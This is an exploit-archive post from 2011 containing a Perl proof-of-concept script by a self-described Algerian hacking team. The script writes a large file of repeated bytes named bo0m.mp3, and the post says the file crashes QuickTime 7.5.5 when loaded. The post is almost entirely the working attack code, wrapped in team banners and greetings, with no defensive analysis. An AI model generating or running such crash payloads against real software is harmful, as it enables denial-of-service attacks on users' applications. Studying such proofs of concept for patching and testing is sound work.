ExploitFixes
[D] PERL : QuickTime 7.5.5<=249.13 (.mp3) Local Crash PoC [z] 2011-01-14 15:52:39
Posted by: kedans

=-=-=-=-=-=-=-={In The Name Of Allah }-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# [D] PERL : QuickTime 7.5.5<=249.13 (.mp3) Local Crash PoC [z]

# Author : KedAns-Dz < Ked-H (at) Hotmail (dot) com >

# Team : [D] HaCkErS-StreeT-Team [Z]

# + Allah Akbarr + Algerians HaCkErs

# Type : Perl

:::::::::::::::::::::::::(0xSTART):::::::::::::::::::::::::::::::::::::::
#!/usr/bin/perl

#////-----------------------------------------------------------------
# Discovered By: kedAns-dz
# Date : 12/01/2011
# --->
# Tested on WindowsXP sp3 FR - 32bit -
# --->
#########################################################
## Usage-->>file created-->>load file-->>b00m.mp3>>>BOOM!
#########################################################
# ////-----------------------------------------------------------------

# Start Perl ::=>
print "\n";
print "|-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-|\n";
print "| |\n";
print "| [!] QuickTime 7.5.5<=249.13 (.mp3) Local Crash PoC |\n";
print "| |\n";
print "| [!] Author: KedAns-Dz |\n";
print "| |\n";
print "| [!] Mail: ked-h(at)hotmail(dot)com |\n";
print "| |\n";
print "|-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-|\n";

# Preparing PoC < By KedAns-Dz > ::=>
my $boom = "\x41\x51" x 600000;
# Bo0M !! ::=>
my $filename = "bo0m.mp3";
open (FILE,">$filename");
print FILE "$boom";
print "\n\n[*] Creating $file file...\n";
print "\n[!] File successfully created!\n";
close(FILE);
# --- END ! ---
# KedAns , Algeria - HMD - in 13/01/2011 .: 23:41 :.

:::::::::::::::::::::::::::::(0xEOF):::::::::::::::::::::::::::::::::::::::

# [D] HaCkerS-StreeT-Team [Z] > Algerians HaCkErs <

-- [>>] KedAns-Dz * BadR0 * XoreR * Dr.Ride * Fox-Dz * Red1One[<<] --
-- [>] IslamPard * NoR0 FouinY * Zaki.ENG * Hani NiN0 * MasSinh0u-Dz [<] --